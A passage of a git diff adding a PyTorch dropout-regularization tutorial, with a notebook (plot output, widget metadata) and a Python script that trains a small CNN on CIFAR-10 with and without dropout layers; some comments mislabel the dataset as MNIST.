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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "\n", + "# plot both benchmarks\n", + "plt.plot(testing_loss, label=\"no dropout\")\n", + "plt.plot(testing_loss_d, label=\"with dropout\")\n", + "# make the legend on the plot\n", + "plt.legend()\n", + "plt.title(\"The Cross-entropy loss of the MNIST test data with and w/o Dropout\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "id": "_MazH3NNHenJ", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 207 + }, + "outputId": "36467580-48bb-423c-9dd7-533996918bd7" + }, + "outputs": [ + { + "output_type": "error", + "ename": "KeyboardInterrupt", + "evalue": "ignored", + "traceback": [ + "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", + "\u001b[0;32m\u001b[0m in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[1;32m 2\u001b[0m \u001b[0;34m\u001b[0m\u001b[0m\n\u001b[1;32m 3\u001b[0m \u001b[0;32mwhile\u001b[0m \u001b[0;32mTrue\u001b[0m\u001b[0;34m:\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0;32m----> 4\u001b[0;31m \u001b[0mtime\u001b[0m\u001b[0;34m.\u001b[0m\u001b[0msleep\u001b[0m\u001b[0;34m(\u001b[0m\u001b[0;36m30\u001b[0m\u001b[0;34m)\u001b[0m\u001b[0;34m\u001b[0m\u001b[0;34m\u001b[0m\u001b[0m\n\u001b[0m", + "\u001b[0;31mKeyboardInterrupt\u001b[0m: " + ] + } + ], + "source": [ + "import time\n", + "\n", + "while True:\n", + " time.sleep(30)" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [], + "name": "DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "b4a6874638e2443f8c43e0db744fa327": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_befda00472714307afad3307ced59f39", + "IPY_MODEL_073e2b2d0c164e5ba3ab91c64618e27c", + "IPY_MODEL_367a2d97f6014f67b2557e5e26a76e2b" + ], + "layout": "IPY_MODEL_faa9f040562349cea6bf0b619249d5b4" + } + }, + "befda00472714307afad3307ced59f39": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_506e3b6439b6476499deaf812300bf48", + "placeholder": "​", + "style": "IPY_MODEL_fee449ec39d24cbdbd6912bbdd95649f", + "value": "" + } + }, + "073e2b2d0c164e5ba3ab91c64618e27c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ccda80a9207f470bb93b1ce9c7fb67d4", + "max": 170498071, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ad67632afdf947c8b7136799037a63df", + "value": 170498071 + } + }, + "367a2d97f6014f67b2557e5e26a76e2b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_50a6c0a6110e470291a56b008d7657b3", + "placeholder": "​", + "style": "IPY_MODEL_2ec3f8f6c8ae408ea62db2cc9368483a", + "value": " 170499072/? [00:03<00:00, 47975117.30it/s]" + } + }, + "faa9f040562349cea6bf0b619249d5b4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "506e3b6439b6476499deaf812300bf48": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fee449ec39d24cbdbd6912bbdd95649f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ccda80a9207f470bb93b1ce9c7fb67d4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ad67632afdf947c8b7136799037a63df": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "50a6c0a6110e470291a56b008d7657b3": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2ec3f8f6c8ae408ea62db2cc9368483a": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} \ No newline at end of file diff --git a/machine-learning/dropout-in-pytorch/README.md b/machine-learning/dropout-in-pytorch/README.md new file mode 100644 index 00000000..b64a489a --- /dev/null +++ b/machine-learning/dropout-in-pytorch/README.md @@ -0,0 +1 @@ +# [Dropout Regularization using PyTorch in Python](https://www.thepythoncode.com/article/dropout-regularization-in-pytorch) \ No newline at end of file diff --git a/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py b/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py new file mode 100644 index 00000000..e2f87c83 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/dropoutregularizationpytorch_pythoncodetutorial.py @@ -0,0 +1,202 @@ +# -*- coding: utf-8 -*- +"""DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/19NQnpsxp29J12nTTH8zaTXzkoZ-b_mfj +""" + +import torch +import torchvision +import torchvision.transforms as transforms +import matplotlib.pyplot as plt +import numpy as np + +# defining our device, 'cuda:0' if CUDA is available, 'cpu' otherwise +device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu') +device + +# make the transform pipeline, converting to tensor and normalizing +transform = transforms.Compose([ + transforms.ToTensor(), + transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) +]) +# the batch size during training +batch_size = 64 + +train_dataset = torchvision.datasets.CIFAR10(root="./data", train=True, + download=True, transform=transform) +train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, + shuffle=True, num_workers=2) + +test_dataset = torchvision.datasets.CIFAR10(root="./data", train=False, + download=True, transform=transform) +test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, + shuffle=False, num_workers=2) + +# the MNIST classes +classes = ('plane', 'car', 'bird', 'cat', + 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') + +import torch.nn as nn +import torch.nn.functional as F + + +class Net(nn.Module): + def __init__(self): + super().__init__() + self.conv1 = nn.Conv2d(3, 6, 5) + self.pool = nn.MaxPool2d(2, 2) + self.conv2 = nn.Conv2d(6, 16, 5) + self.fc1 = nn.Linear(16 * 5 * 5, 120) + self.fc2 = nn.Linear(120, 84) + self.fc3 = nn.Linear(84, 10) + + def forward(self, x): + x = self.pool(F.relu(self.conv1(x))) + x = self.pool(F.relu(self.conv2(x))) + x = torch.flatten(x, 1) # flatten all dimensions except batch + x = F.relu(self.fc1(x)) + x = F.relu(self.fc2(x)) + x = self.fc3(x) + return x + + +net = Net() +# switch to GPU if available +net.to(device) + +import torch.optim as optim + +# defining the loss and the optimizer +criterion = nn.CrossEntropyLoss() +optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9) + +def get_test_loss(net, criterion, data_loader): + """A simple function that iterates over `data_loader` to calculate the overall loss""" + testing_loss = [] + with torch.no_grad(): + for data in data_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + outputs = net(inputs) + # calculate the loss for this batch + loss = criterion(outputs, labels) + # add the loss of this batch to the list + testing_loss.append(loss.item()) + # calculate the average loss + return sum(testing_loss) / len(testing_loss) + +training_loss, testing_loss = [], [] +running_loss = [] +i = 0 +for epoch in range(150): # 150 epochs + for data in train_loader: + inputs, labels = data + # get the data to GPU (if available) + inputs, labels = inputs.to(device), labels.to(device) + optimizer.zero_grad() + # forward pass + outputs = net(inputs) + # backward pass + loss = criterion(outputs, labels) + loss.backward() + # update gradients + optimizer.step() + running_loss.append(loss.item()) + i += 1 + if i % 1000 == 0: + avg_train_loss = sum(running_loss) / len(running_loss) + avg_test_loss = get_test_loss(net, criterion, test_loader) + # clear the list + running_loss.clear() + # for logging & plotting later + training_loss.append(avg_train_loss) + testing_loss.append(avg_test_loss) + print(f"[{epoch:2d}] [it={i:5d}] Train Loss: {avg_train_loss:.3f}, Test Loss: {avg_test_loss:.3f}") + + +print("Done training.") + +class NetDropout(nn.Module): + def __init__(self): + super().__init__() + self.conv1 = nn.Conv2d(3, 6, 5) + self.pool = nn.MaxPool2d(2, 2) + self.conv2 = nn.Conv2d(6, 16, 5) + self.do1 = nn.Dropout(0.2) # 20% Probability + self.fc1 = nn.Linear(16 * 5 * 5, 120) + self.do2 = nn.Dropout(0.2) # 20% Probability + self.fc2 = nn.Linear(120, 84) + self.do3 = nn.Dropout(0.1) # 10% Probability + self.fc3 = nn.Linear(84, 10) + + def forward(self, x): + x = self.pool(F.relu(self.conv1(x))) + x = self.pool(F.relu(self.conv2(x))) + x = self.do1(x) + x = torch.flatten(x, 1) # flatten all dimensions except batch + x = 